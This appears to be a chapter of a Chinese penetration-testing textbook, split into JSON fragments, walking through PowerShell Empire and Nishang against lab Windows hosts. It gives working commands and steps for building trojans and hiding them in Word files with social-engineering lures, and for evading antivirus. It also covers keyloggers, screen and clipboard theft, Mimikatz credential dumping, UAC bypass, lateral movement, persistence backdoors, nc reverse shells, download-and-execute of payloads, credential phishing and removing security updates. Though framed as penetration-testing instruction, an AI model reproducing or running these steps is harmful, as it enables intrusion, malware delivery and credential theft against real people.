    {"text": "1.DLL木马 想要设置DLL木马，首先输入usestager windows/dll的命令，然后输入info命令查看详细参数，如图6-69所示。 图6-69 查看详细参数 这里我们设置一下Listener，然后执行execute命令，就会在tmp目录下生成名为launcher.dll的木马，如图6-70所示。 launcher.dll在目标主机上运行后，就会成功上线。 图6-70 生成DLL木马 2.launcher 如果只需要简单的PowerShell代码，在设置完相应模块后，可以直接在监听器菜单中键入launcher<language><listenerName>，将很快生成一行base64编码代码，这里输入back命令回到listener下，然后输入launcherpowershellshuteer（当前设置的listener名字）命令来生成一个Payload，如图6-71所示。 图6-71 生成PowerShell代码 然后在装有PowerShell的目标机上执行生成的这段命令，就会得到这个主机的权限，这里使用的虚拟机是Windows 2008 R2的64位Enterprise版，安装有360杀毒软件+360安全卫士+Sophos，直接将这段命令复制到虚拟机WebShell下执行，如图6-72所示。 图6-72 执行PowerShell代码 可以看到Empire已经上线了一个Name为L9FPTXV6的主机，而且所有杀毒软件均没有出现任何提示，输入agents就可以看到上线目标主机的具体内容，这里的agents就相当于Metasploit的会话sessions，如图6-73所示。 图6-73 查看上线的主机 此时代理Name会取一个随机的名字，可使用rename <oldAgent Name><newAgentName>命令来修改，这里输入rename L9FPTXV6 USA，如图6-74所示。 图6-74 更改主机名称 3.launcher_vbs木马 要想设置launcher_vbs木马，首先要输入usestagerwindows/launcher_vbs，然后输入info命令来查看详细参数，如图6-75所示。"},
    {"text": "Set listener shuteer Execute 图6-76 生成VBS木马 最后输入back命令回到Listener下开始监听，将生成的这个launcher.vbs在目标机上打开，就会得到这个主机的权限，这里使用的虚拟机是Windows 10的64位旗舰版，安装有系统自带的Defender，运行后，launcher_vbs木马成功上线，如图6-77所示。"},
    {"text": "图6-77 反弹成功 如果要生成PowerShell代码，设置完Listener后不用输入execute，直接输入back，然后输入launcher powershell shuteer即可，如图6-78所示。"},
    {"text": "图6-78 执行PowerShell代码 4.launcher_bat木马 要想设置launcher_bat木马，首先要输入usestager windows/launcher_bat的命令，然后输入info命令查看详细参数，如图6-79所示。"},
    {"text": "图6-79 查看详细参数 使用以下命令设置Listener的参数并输入execute命令运行，默认会在tmp文件夹下生成launcher.bat，如图6-80所示。 Set listener shuteer Execute 图6-80 生成BAT木马 输入back命令回到listeners下开始监听，然后将生成的这个launcher.bat在目标机上打开，就会得到这个主机的权限，可以看到，在虚拟机运行后，BAT木马已经成功上线了，如图6-81所示。"},
    {"text": "图6-81 反弹成功 为了增加迷惑性，也可以将该批处理文件插入一个office文件中，这里随便找个Word或者Excel文件，单击“插入”标签，选择“对象”，然后选择“由文件创建”，单击“浏览”按钮，并选择刚才生成的批处理文件，然后勾选“显示为图标”，最后单击“更改图标”按钮来更改一个更具诱惑性的图标，如图6-82所示。"},
    {"text": "图6-82 插入新对象 在“更改图标”界面里，我们可以选择一个图标，这里建议使用微软的Excel、Word或PowerPoint图标，这里使用了Word的图标，并且更改文件的名称为研究成果，扩展名改为doc。"},
    {"text": "图6-83 插入Word文件 接着在listeners下监听，然后将该Word文件发给目标，一旦该Word在目标机上被打开，并运行了内嵌的批处理文件，就会得到这个主机的权限，这里使用的虚拟机是Windows 10的64位旗舰版，安装有系统自带的Defender,Word文件运行后，BAT木马成功上线，Defender没有任何提示，360安全卫士会报告发现宏病毒，如图6-84所示。"},
    {"text": "图6-87 查看tmp目录 然后需要将生成的宏添加到一个Office文档里面，这里打开一个Word文件，单击“视图”标签，选择“宏”，在“宏的位置”选择当前文件，宏名可以任意起一个，然后单击“创建”按钮，如图6-88所示。 图6-88 创建宏 单击“创建”按钮后会弹出VB编辑界面，将原来的代码删除，把生成的宏复制进去，另存为“Word 97-2003文档（*.doc）”文件，如图6-89和图6-90所示。 图6-89 复制宏代码 图6-90 另存为文档 最后将这个修改过的Word拷到目标机上执行，打开后会提示一个安全警告，这里需要使用一些社会工程学的策略，诱导目标单击“启用内容”按钮，如图6-91所示。"},
    {"text": "图6-93 删除目标主机 6.Ducky Empire也支持Ducky模块，也就是我们常说的“小黄鸭”，输入usestager windows/ducky命令，然后输入info命令查看详细参数，如图6-94所示。"},
    {"text": "具体操作流程可以参考这篇文章——《利用USB RUBBER DUCKY（USB 橡皮鸭）在目标机器上启动Empire或Meterpreter会话》（http://www.freebuf.com/geek/141839.html）。"},
    {"text": "6.3.5 连接主机及基本使用 目标主机反弹成功以后，可以使用agents命令列出当前已连接的主机，这里要注意带有（*）的是已提权成功的主机，如图6-96所示。 图6-96 列出已连接的主机 然后使用interact命令连接主机，可以使用Tab键补全主机的名称，连接成功后输入help命令即可列出所有的命令，如图6-97所示。 图6-97 查看帮助 可以看到主机的功能相当强大，基本可以和Metasploit媲美，更为强大的是兼容Windows、Linux和Metasploit的部分常用命令，使用起来上手相当快，如图6-98所示。"},
    {"text": "图6-98 使用Linux命令 输入help agentcmds可以看到可供使用的常用命令，如图6-99所示。 图6-99 常用目录列表 在使用部分CMD命令的时候，要使用“shell+命令”的格式，如图6-100所示。"},
    {"text": "图6-101 抓取Hash 同Metasploit一样，输入creds命令可以自动过滤、整理出获取的用户密码，如图6-102所示。 图6-102 自动整理抓取到的密码 这里有个小技巧，输入creds后双击Tab键，可以看到一些选项，如图6-103所示。 图6-103 查看creds选项 在内网抓取的密码比较多又乱的时候，可以通过命令对hash/plaintext进行排列、增加、删除、导出等操作，这里将凭证存储导出，输入“creds export 目录/xx.csv”命令，如图6-104所示。"},
    {"text": "图6-104 导出Hash 在实际渗透过程中，由于种种原因，总会有部分主机丢失或者失效，可以输入list stale命令列出已经丢失的反弹主机，然后输入remove stale命令删去已经失效的主机，如图6-105所示。 图6-105 删除失效的主机 还有一些其他的常用命令，如Bypass UAC提权命令、SC截图命令、Download下载文件、Upload上传文件等，因为这些比较简单就不演示了，建议读者参照帮助信息多多尝试其他命令。"},
    {"text": "所以信息收集是比较常用的一个模块，可以使用search module命令搜索需要使用的模块，这里通过键入usemodule collection然后按Tab键查看完整的列表，如图6-106所示。"},
    {"text": "1.屏幕截图 输入以下命令即可查看该模块的具体参数，如图6-107所示。 usemodule collection/screenshot info 图6-107 使用屏幕截图模块 不需要做多余的设置，直接输入execute即可查看目标主机的屏幕截图，如图6-108和图6-109所示。 图6-108 运行模块 图6-109 查看抓取到的屏幕截图 2.键盘记录 输入以下命令即可查看该模块的具体参数，如图6-110所示。"},
    {"text": "usemodule collection/keylogger info 图6-110 开启键盘记录 保持默认设置就可以了，输入execute启动后就开始记录目标主机的键盘输入情况了，此时会自动在empire/downloads/<AgentName>下生成一个agent.log文件，如图6-111所示。"},
    {"text": "图6-112 输入文字 打开agent.log即可看到目标主机的键盘输入情况已经全部在监控端记录下来了，虽然不能记录中文，但是大概意思还是能看出来的，空格键、删除键也记录了下来，如图6-113所示。 图6-113 查看目标主机的键盘输入记录 如果要持续进行键盘记录，可以把当前监控模块置于后台，输入jobs即可显示当前在后台的记录。 如果要停止记录，可以使用jobs kill JOB_name命令，这里输入jobs kill N7XE38即可停止键盘记录，如图6-114所示。"},
    {"text": "可以设置模块参数的抓取限制和间隔时间，一般情况下，保持默认设置就可以，这里输入以下命令即可查看具体参数，如图6-115所示。 usemodule collection/clipboard_monitor info 图6-115 使用模块 首先在目标主机中随便复制一句话，可以看到屏幕已经显示结果了，速度还是很快的，如图6-116所示。"},
    {"text": "图6-116 查看剪贴板内容 同样地，当前监控模块也可以置于后台，输入jobs会显示当前在后台的记录，如果要停止，同样需要输入jobs kill JOB_name，如图6-117所示。"},
    {"text": "图6-117 停止剪贴板记录 4.查找共享 输入usemodule situational_awareness/network/powerview/share_finder命令将列出域内所有的共享，可以设置CheckShareAccess选项将只返回可从当前用户上下文中读取的共享，这里保持默认设置即可，如图6-118所示。 图6-118 查找共享 5.收集目标主机的信息 输入usemodule situational_awareness/host/winenum命令即可查看本机用户、域组成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等，如图6-119所示。 图6-119 查看主机的信息 另外还有situational_awareness/host/computerdetails模块，它几乎列举了系统中的所有有用信息，如目标主机事件日志、应用程序控制策略日志，包括RDP登录信息、PowerShell脚本运行和保存的信息等。"},
    {"text": "6.ARP扫描 Empire也内置了ARP扫描模块，输入usemodule situational_awareness/network/arpscan命令即可使用该模块，这里要设置Range参数，输入以下命令设置要扫描的网段，如图6-120所示。 set Range 192.168.31.0-192.168.31.254 execute 图6-120 设置参数 同样地，Empire也内置了端口扫描模块situational_awareness/network/portscan，这里就不演示了。 7.DNS信息获取 在内网中，知道所有机器的HostName和对应的IP地址对分析内网结构至关重要，输入usemodule situational_awareness/network/reverse_dns命令即可使用该模块，这里要设置Range参数，输入要扫描的IP网段并运行，如图6-121所示。"},
    {"text": "其实还可以利用另一个模块situational_awareness/host/dnsserver显示当前内网DNS服务器的IP地址，如图6-122所示。 图6-122 显示当前内网DNS服务器的IP地址 8.查找域管登录服务器IP 在内网渗透中，要想拿到内网中某台机器的域管权限，方法之一就是找到域管登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，这个模块就是用来查找域管登录的机器的。 使用usemodule situational_awareness/network/powerview/user_hunter这个模块可以清楚地看到哪位用户登录了哪台主机，这里显示域管曾经登录过机器名为WIN7-64.shuteer.testlab,IP地址为192.168.31.251的这台机器，如图6-123所示。 图6-123 显示域管曾经登录过的机器 9.本地管理组访问模块 使用usemodule situational_awareness/network/powerview/find_localadmin_access模块时，不需要做多余的设置，直接输入execute即可，结果如图6-124所示。 图6-124 查看本地管理组访问结果 可以看到有两台计算机，名字分别为WIN7-64.shuteer.testlab和WIN7-X86.shuteer.testlab。 10.获取域控制器 现在可以用usemodule situational_awareness/network/powerview/get_domain_controller模块来确定当前的域控制器，因为已经有了域用户权限，直接输入execute即可，如图6-125所示。 图6-125 获取域控制器 从图6-125中可以看到当前域服务器名为DC。 再验证下能否访问域服务器DC的“C$”，结果同样顺利访问，如图6-126所示。"},
    {"text": "图6-126 访问域服务器计算机 6.3.7 权限提升 提权，顾名思义就是提高自己在服务器中的权限，就比如在Windows中，你本身登录的用户是Guest，通过提权后就变成超级管理员，拥有了管理Windows的所有权限。 提权是黑客的专业名词，一般用于网站入侵和系统入侵，提权的方式有下面这几种。"},
    {"text": "1.Bypass UAC 输入usemodule privesc/bypassuac，设置Listener参数，运行execute，然后会发现上线了一个新的反弹，如图6-127所示。 图6-127 Bypass反弹成功 回到agents，输入list命令，可以看到多了一个agents，带星号的即为提权成功的agents，如图6-128所示。 图6-128 提权成功的列表 2.bypassuac_wscript 这个模块的大概原理是使用C:\\Windows\\wscript.exe执行Payload，即绕过UAC实现管理员权限执行Payload，只适用于系统为Windows 7的目标主机，目前尚没有对应补丁，部分杀毒软件会有提示。"},
    {"text": "图6-129 提权成功的列表 3.PowerUp Empire内置了PowerUp的部分工具，用于系统提权，主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式，输入usemodule privesc/powerup，然后按Tab键查看PowerUp的完整列表，如图6-130所示。"},
    {"text": "图6-130 查看模块列表 （1）AllChecks模块 查找系统中的漏洞，和PowerSploit下PowerUp中的Invoke-AllChecks模块一样，该模块可以执行所有脚本检查系统漏洞，输入以下命令，如图6-131所示。"},
    {"text": "usemodule privesc/powerup/allchecks execute 图6-131 检查系统漏洞 从图6-131中能看到列出了很多方法，可以尝试用Bypass UAC来提权，提权前先查看当前的agents，发现只有一个Name为CD3FRRYCFVTYXN3S,IP为192.168.31.251的普通权限客户端，如图6-132所示。 图6-132 查看当前的agents 接着输入bypassuac test命令来提权，等待几秒钟，就会返回一个更高权限的Shell，如图6-133所示。 图6-133 提权成功 再次查看当前agents，可以看到多了一个Name为341CNFUFK3PKUDML的高权限（带星号）客户端，如图6-134所示，说明提权成功。"},
    {"text": "● Metasploit、PowerShell之Windows错误系统配置漏洞实战提权（http://www.freebuf.com/articles/system/131388.html） ● Metasploit之Windows Services漏洞提权实战（http://www.4hou.com/technology/4180.html） ● Metasploit、Powershell之AlwaysInstallElevated提权实战（https://xianzhi.aliyun.com/forum/topic/203） 4.GPP 在域里常会启用组策略首选项来更改本地密码，便于管理和部署映像，其缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取部署信息。"},
    {"text": "图6-135 查看GPP 6.3.8 横向渗透 1.令牌窃取 我们在获取服务器权限后，可以使用内置的Mimikatz获取系统密码，执行完毕后输入creds命令即可查看Empire列举的密码，如图6-136所示。"},
    {"text": "图6-136 列举出的密码 从图3-136中可以发现有域用户曾在此服务器上登录，此时可以窃取域用户身份，然后进行横向移动，首先要窃取身份，使用pth<ID>命令，这里的ID号就是creds下的CredID号，这里窃取Administrator的身份令牌，执行pth 7命令，如图6-137所示。"},
    {"text": "图6-138 获得域用户令牌 同样可以输入ps命令查看是否有域用户的进程，如图6-139所示。 图6-139 查看当前进程 从图6-139中可以看到存在域用户的进程，这里选用同一个Name为CMD,PID为1380的进程，如图6-140所示。 图6-140 查看PID 同样通过steal_token命令来窃取这个令牌，这里先尝试访问域内另一台主机WIN7-X86的“C$”，结果顺利访问，如图6-141所示。"},
    {"text": "图6-141 成功窃取令牌 输入revtoself命令可以将令牌权限恢复到原来的状态，如图6-142所示。 图6-142 恢复令牌权限 2.会话注入 其实也可以使用usemodule management/psinject模块进行进程注入，获取权限。"},
    {"text": "图6-143 反弹成功 3.Invoke-PsExec PsExec是笔者在Metasploit下经常使用的模块，PsTools工具包中也有PsExec，该工具的缺点是能被基本的杀毒软件检测到并留下日志，而且需要开启admin$445端口共享，其优点是可以直接返回SYSTEM权限。"},
    {"text": "图6-144 查看agents 现在使用usemodule lateral_movement/invoke_psexec模块渗透域内另一台机器WIN7-X86，输入info查看设置参数，如图6-145所示。"},
    {"text": "图6-145 查看设置参数 这里要设置机器名和监听，输入以下命令执行execute后即可看到反弹已经成功，如图6-146所示。 set ComputerName WIN7-X86.shuteer.testlab set Listenershuteer execute 图6-146 反弹成功 输入agents命令查看当前agents，发现多了一个IP为192.168.31.158，机器名为WIN7-X86的服务器，如图6-147所示。"},
    {"text": "图6-147 查看agents 4.Invoke-WMI 它比PsExec安全，所有Window系统都启用了该服务，当攻击者使用wmiexec进行攻击时，Windows系统默认不会在日志中记录这些操作，这意味着可以做到攻击无日志，同时攻击脚本无须写入磁盘，具有极高的隐蔽性，但如果目标机器开启了防火墙，用WMI将无法连接上目标机器。"},
    {"text": "输入usemodule lateral_movement/invoke_wmi即可使用该模块，输入info命令查看具体参数，如图6-148所示。 图6-148 查看Invoke-WMI参数 这里同样需要设置机器名和监听，输入以下命令，执行execute命令后即可看到反弹成功，如图6-149所示。 Set ComputerName WIN7-X86.shuteer.testlab Set Listener shuteer Execute 图6-149 反弹成功 WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块，它使用WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器，这些可执行文件包括sethc.exe（粘滞键，按五下Shift键即可触发）、narrator.exe（文本转语音，可利用Utilman接口激活）、Utilman.exe（Windows辅助管理器，按Win+U组合键即可启用）、Osk.exe（虚拟键盘，可利用Utilman接口启用）、Magnify.exe（放大镜，可利用Utilman接口启用），各位读者也可以尝试一下。"},
    {"text": "5.PowerShell Remoting PowerShell Remoting是PowerShell的远程管理功能，开启Windows远程管理服务WinRM系统后会监听5985端口，该服务默认在Windows Server 2012中是启动的，在Windows Server 2003/2008/2008 R2中需要手动启动。"},
    {"text": "如果目标主机启用了PowerShell Remoting，或者拥有启用它的权限的凭据，则可以使用usemodule lateral_movement/invoke_psremoting模块进行横向渗透，如图6-150所示。"},
    {"text": "1.权限持久性劫持Shift后门 输入usemodule lateral_movement/invoke_wmi_debuggerinfo命令即可使用该模块，输入info可以查看具体的设置参数，如图6-151所示。"},
    {"text": "set Listener shuteer set ComputerName WIN7-64.shuteer.testlab set TargetBinary sethc.exe execute 图6-152 设置具体的参数 运行后，在目标主机远程登录窗口按5次Shift键即可触发后门，目标主机上会有一个命令框一闪而过，如图6-153所示。"},
    {"text": "● Utilman.exe（使用Win+U组合键启动）。 ● osk.exe（屏幕上的键盘：使用Win+U启动组合键）。 ● Narrator.exe（启动讲述人：使用Win+U启动组合键）。 ● Magnify.exe（放大镜：使用Win+U组合键启动）。"},
    {"text": "2.注册表注入后门 输入usemodule persistence/userland/registry命令即可使用该模块，该模块运行后会在目标主机启动项里增加一个命令，按以下命令设置其中几个参数，如图6-155所示。"},
    {"text": "set Listener shuteer set RegPath HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run execute 图6-155 设置参数 当我们登录系统时木马就会运行，服务端反弹成功，如图6-156所示。 图6-156 反弹成功 3.计划任务获得系统权限 输入usemodule persistence/elevated/schtasks命令即可使用该模块，这里要设置DailyTime、Listener这两个参数，输入以下命令，设置完后输入execute命令，到了设置的具体时间时将成功返回一个高权限的Shell，在实际渗透中运行该模块时，杀毒软件会有提示，如图6-157所示。 set DailyTime 16:17 set Listener test execute 图6-157 反弹成功 接着输入agents命令查看当前agents，可以看到又多了一个具有SYSTEM权限，Name为LTVZB4WDDTSTLCGL的客户端，如图6-158所示，说明提权成功。 图6-158 查看agents 这里如果把set RegPath的参数改为HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run，那么就会在16:17分添加一个注册表注入后门，读者可以练习一下。 6.3.10 Empire反弹回Metasploit 在实际渗透中，当拿到WebShell上传的MSF客户端无法绕过目标主机的杀毒软件时，可以使用PowerShell来绕过，也可以执行Empire的Payload来绕过，成功之后再使用Empire的模块将其反弹回Metasploit。"},
    {"text": "将Lhost修改为MSF所在主机的IP，按以下命令设置完毕，如图6-159所示。 Set Lhost 192.168.31.247 Set Lport 4444 图6-159 设置参数 在MSF上设置监听，命令如下，运行后，就可以收到Empire反弹回来的Shell了，如图6-160所示。 Use exploit/multi/handler Set payloadwindows/meterpreter/reverse_https Set Lhost 192.168.31.247 Set lport 4444 Run 图6-160 反弹成功"},
    {"text": "它基于PowerShell的渗透测试专用工具，集成了框架、脚本和各种Payload，包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试的各个阶段。"},
    {"text": "6.4.1 Nishang简介 Nishang要在PowerShell 3.0以上的环境中才可以正常使用，也就是说在Windows 7下默认是有点小问题的，因为Windows下自带的环境是PowerShell 2.0。"},
    {"text": "导入模块之后输入Get–Command–Module nishang命令查看Nishang都有哪些模块，如图6-161所示。 图6-161 查看模块列表 从图6-161中可以看到，Nishang的所有命令都被列出来了。"},
    {"text": "执行命令Get-Information查看结果，这个脚本可以获取目标机器上的大量信息（FTP访问、进程、计算机配置信息、无线网络和设备的信息、Hosts信息等）。"},
    {"text": "直接执行以下命令，可以看到列出了本机的部分信息，如图6-162所示。 PS > Get-Information 图6-162 列出本机的部分信息 还需要说的一点是，我们可以在PowerShell中使用Out-File将执行结果导出到文件中，命令如下所示。"},
    {"text": "图6-163 查看目录的结构 下面对Nishang的模块及其功能进行说明，如表6-1所示。 表6-1 Nishang的模块及其功能 6.4.2 Nishang模块攻击实战 Nishang 的模块很多，本小节只讲解部分模块，其他的也建议读者多多尝试。"},
    {"text": "图6-164 检测是否为虚拟机 2.Invoke-CredentialsPhish 这个脚本的作用是欺骗目标主机的用户，让用户输入密码，在实际使用中读者可以充分发挥想象力来灵活运用，效果如图6-165所示。 图6-165 诱使目标用户输入账号密码 改脚本的功能很强大，因为不输入正确密码就关闭不了对话框，只能强制结束进程，这里成功得到明文的管理员账号密码，如图6-166所示。 图6-166 成功获取账号密码 3.Copy-VSS 这个脚本利用Volume Shadow Copy服务复制sam文件，如果这个脚本运行在了DC机上，ntds.dit和SYSTEM hive也能被拷贝出来。"},
    {"text": "PS > Copy-VSS #将直接把文件保存在当前路径下 PS > Copy-VSS-DestinationDir C:temp #指定保存文件的路径（必须是已经存在的路径） 图6-167 Copy-VSS的运行结果 4.FireBuster FireListener扫描器 用于对内网进行扫描，打开本地监听，然后远程传送数据，把包发给FireListener。"},
    {"text": "FireBuster 192.168.12.107 130-150 –Verbose 图6-168 远程传送数据 5.Keylogger键盘记录 Nishang的键盘记录模块是目前为止笔者见过功能最为强大的，首先查看这个模块的帮助文件，输入以下命令，如图6-169所示。"},
    {"text": "Get-Help.\\Keylogger.ps1-full 图6-169 查看帮助文件 可以看到图6-169中给出了四种执行方式，具体命令如下所示。 \\Keylogger.ps1 #使用这种方式运行，键盘记录会被保存在当前用户Temp目录下的key文件中。 \\Keylogger.ps1-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-MagicString stop this #-CheckURL参数会检查所给出的网页之中是否包含-MagicString后的字符串，如果存在就停止使用记录。 \\Keylogger.ps1-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-MagicString stop this-exfil-ExfilOption WebServer-URL http://192.168.254.226/data/catch.php #将记录指定发送给一个可以记录Post请求的Web服务器。 \\Keylogger.ps1 –persist #实现持久化记录（重启后依然进行记录）。 下面详细讲解下第一种方法，直接执行Keylogger.ps1命令，默认会在Temp目录生成一个key.log文件，如图6-170所示。 图6-170 生成key.log文件 然后输入以下命令，使用Nishang Utility中的Parse_Keys来解析，parsed.txt里就会出现解析后的按键记录，如图6-171所示。 PS >Parse_Keys.key.log.parsed.txt 图6-171 查看按键记录 6.Invoke-Mimikatz 第5章已经讲过Mimikatz的使用方法，此脚本的基本使用语法如下，该脚本使用后的结果如图6-172所示。 Invoke-Mimikatz-DumpCerts ##Dump出本机的凭证信息 Invoke-Mimikatz-DumpCreds-ComputerName @（\"computer1\",\"computer2\"）##Dump出远程的两台计算机的凭证信息 Invoke-Mimikatz-Command \"privilege::debug exit\"-ComputerName \"computer1\" ##在远程的一台机器上运行Mimikatz并执行\"privilege::debug exit\" 图6-172 利用Mimikatz抓取密码 7.Get-PassHashes 这个脚本在Administrator的权限下可以Dump出密码哈希值，来源于Metasploit中的Power Dump模块，但在其基础做出了修改，使得不再需要SYSTEM权限就可以Dump了，如图6-173所示。"},
    {"text": "Get-PassHints 图6-174 获取用户的密码提示信息 6.4.3 PowerShell隐藏通信遂道 1.基于TCP协议的PowerShell交互式Shell Invoke-PowerShellTcp是基于TCP协议的PowerShell正向连接或反向连接Shell，该模块的具体参数介绍如下所示。"},
    {"text": "● IPAddress<String> #选择-Reverse选项时表示需要连接的IP地址 ● Port<Int32> #选择-Reverse选项时表示需要连接的端口，选择-Bind选项时表示需要监听的端口。 ● Reverse[<SwitchParameter>] #反向连接 ● Bind[<SwitchParameter>] #正向连接 （1）反向连接 使用NC监听本地3333端口（注意必须先监听，不然在目标机上执行脚本时会出错），命令如下所示。 nc-lvp 3333 然后在目标机PowerShell下输入以下命令，反弹Shell到192.168.12.110的3333端口。 Invoke-PowerShellTcp-Reverse-IPAddress 192.168.12.110-Port 3333 可以看到连接成功，如图6-175所示。 图6-175 反向连接 （2）正向连接 在目标机PowerShell下执行以下脚本命令，监听3333端口。 Invoke-PowerShellTcp-Bind-Port 3333 在NC下执行以下命令，连接目标机192.168.12.103的3333端口。"},
    {"text": "正向连接命令：nc-nvu 192.168.12.103 3333 反向连接命令：nc-lup 3333 知识点： 推荐这个网站——https://www.explainshell.com，读者可以使用它查看包括Windows和Linux的在内的各种命令解析，如图6-177所示。"},
    {"text": "图6-177 网站截图 3.基于HTTP和HTTPS协议的PowerShell交互式Shell Invoke-PoshRatHttp和Invoke-PoshRatHttps是基于HTTP协议和HTTPS协议的PowerShell反向连接Shell。"},
    {"text": "HTTP:Invoke-PoshRatHttp-IPAddress 192.168.12.103-Port 3333 HTTPS:Invoke-PoshRatHttps-IPAddress 192.168.12.103-Port 3333 这里只讲解基于HTTP协议的脚本的使用，执行如图6-178所示的命令，在192.168.12.103的本机监听3333端口，会生成一个PowerShell命令。 图6-178 执行HTTP命令 将生成的命令复制到目标机CMD中执行，成功后命令行会自动消失，然后在本机PowerShell下会返回目标机IP为192.168.12.107的会话，执行ps命令后提示成功，如图6-179所示。 图6-179 反弹成功 6.4.4 WebShell后门 该模块存放于\\nishang\\Antak-WebShell目录下，就是一个ASPX的“大马”，使用PowerShell的命令，比CMD命令要强大很多，读者可以使用这个WebShell编码执行脚本，上传、下载文件，效果如图6-180所示。 图6-180 WebShell 该模块的执行方式很简单，上传WebShell后的使用方法和操作PowerShell执行窗口一样，上传和下载文件时填写好对应路径，单击“Upload the File”“Download”按钮即可。"},
    {"text": "使用以下命令可利用Nishang中的exetotext.ps1脚本将Metasploit生成的木马端msf.exe更改为文本文件msf.txt。 PS C:Usersroot> ExetoText c: msf.exe c: msf.txt Converted file written to c: msf.txt 然后输入以下命令，调用Download_Execute脚本下载并执行该文本文件。 PS C:Usersroot> Download_Execute http://192.168.110.128/msf.txt 这时在Metasploit的监听端口就可以成功获得反弹回来的Shell，如图6-181所示。"},
    {"text": "图6-181 成功反弹Shell 2.Bypass UAC User Account Control（用户账户控制）是微软为提高系统安全而在Windows Vista中引入的新技术，它要求用户在执行可能会影响计算机运行或其他用户设置的操作之前，提供权限或管理员密码。"},
    {"text": "高等级的进程具有管理员权限，中等级进程拥有一个基本用户的权限，低级别进程的权限受各种限制，用来保证在系统受到威胁时，使损害保持在最小。"},
    {"text": "Invoke-PsUACme模块使用了来自UACME项目的DLL来绕过UAC，作用是绕过UAC,Nishang中给出的方法非常全面，列出了各种绕过UAC的方法，如图6-182所示，可以在Invoke-PsUACme中指定相应的方法来执行。"},
    {"text": "PS > Invoke-PsUACme-Verbose ##使用Sysprep方法并执行默认的Payload PS > Invoke-PsUACme-method oobe –Verbose ##使用oobe方法并执行默认的Payload PS > Invoke-PsUACme-method oobe-Payload \"powershell-windowstyle hidden-e Your EncodedPayload\" ##使用-Payload参数可以自行指定执行的Payload 除此以外，还可以使用-PayloadPath参数指定一个Payload路径，在默认情况下，Payload会在C:WindowsTempcmd.bat结束。"},
    {"text": "PS > Remove-Update All ##移除目标机器上的所有更新 PS > Remove-Update Security ##移除目标机器上的所有与安全相关更新 PS > Remove-Update KB2761226 ##移除指定编号的更新 图6-185 示例说明 在使用该脚本之前，先来查看本机的补丁情况，如图6-186所示。 图6-186 显示补丁 尝试删除第一个补丁，输入PS>Remove-Update KB2849697命令，显示成功删除了第一个补丁，如图6-187所示。"},
    {"text": "图6-187 执行脚本 4.其他功能 （1）端口扫描（Invoke-PortScan） Invoke-PortScan是Nishang的端口扫描脚本，它用于发现主机、解析主机名、端口扫描，是实战中一个很实用的脚本。"},
    {"text": "● StartAddress ##扫描范围开始的地址 ● EndAddress ##扫描范围结束的地址 ● ScanPort ##进行端口扫描 ● Port ##指定扫描端口（默认扫描端口：21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,68 68,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901） ● TimeOut ##设置超时时间 使用以下命令对本地局域网进行扫描，搜索存活主机并解析主机名，如图6-189所示。"},
    {"text": "Invoke-PortScan-StartAddress 192.168.250.1-EndAddress 192.168.250.255-ResolveHost 图6-189 扫描本地局域网 （2）爆破破解（Invoke-BruteForce） Invoke-BruteForce是Nishang中专注于暴力破解的脚本，它用于对SQL Server、域控制器、Web及FTP弱口令爆破。"},
    {"text": "PS > Invoke-BruteForce-ComputerName targetdomain.com-UserList C:testusers.txt PasswordList C:testwordlist.txt-Service ActiveDirectory-StopOnSuccess-Verbose ##爆破域控制器 PS > Invoke-BruteForce-ComputerName SQLServ01-UserList C:testusers.txt-Passwor dList C:testwordlist.txt-Service SQL-Verbose ##爆破SQL Server PS > cat C:testservers.txt |Invoke-BruteForce-UserList C:testusers.txt-Passwor dList C:testwordlist.txt-Service SQL –Verbose ##爆破server.txt中所有servers的SQL Server 具体的参数介绍如下所示。 ● ComputerName ##对应服务的计算机名 ● UserList ##用户名字典 ● PasswordList ##密码字典 ● Service服务（默认为SQL） ● StopOnSuccess ##匹配一个后停止 ● Delay ##延迟时间 （3）嗅探 内网嗅探的使用方法比较简单，但是动静很大，在实在没办法的时候，可以尝试一下。"},
    {"text": "Invoke-Interceptor-ProxyServer 192.168.250.172-ProxyPort 9999 图6-191 在目标机中执行命令 执行以下命令即可在本机监听9999端口，如图6-192所示。"},
    {"text": "netcat-lvvp 9999 图6-192 本机监听端口 （4）屏幕窃取 Show-TargetScreen脚本使用MJPEG传输目标机远程桌面的实时画面，在本机可以使用NC或者PowerCat进行监听。 在本地使用支持MJPEG的浏览器（如Firefox）访问本机对应监听端口，即可在浏览器上看到从远端传输回来的实时画面，正向反向均可。"},
    {"text": "执行方式： PS > Show-TargetScreen-Reverse-IPAddress 192.168.230.1-Port 443 ##将远程的画面传送到192.168.230.1的443端口 具体的参数介绍如下所示。"},
    {"text": "● IPAddress ##后面加IP地址（反向链接需要） ● Port ##加端口 ● Bind ##正向连接 在目标机上输入以下命令就可以反向连接窃取屏幕。 Show-TargetScreen-Reverse-IPAddress 192.168.250.172-Port 3333 接着在本机输入以下命令，之后访问本机的9999端口，就可以窃取到目标机屏幕了，如图6-193所示。 netcat-nlvp 3333 |netcat-nlvp 9999 图6-193 窃取目标机屏幕 正向连接窃取屏幕的方法与反向的基本相同，命令如下。"},
    {"text": "5.生成木马 Nishang中还有各种脚本，它们可以感染各种文件，如HTA、Word，用于执行PowerShell脚本，可以神不知鬼不觉地发动攻击，此脚本的所有类型如图6-194所示。"},
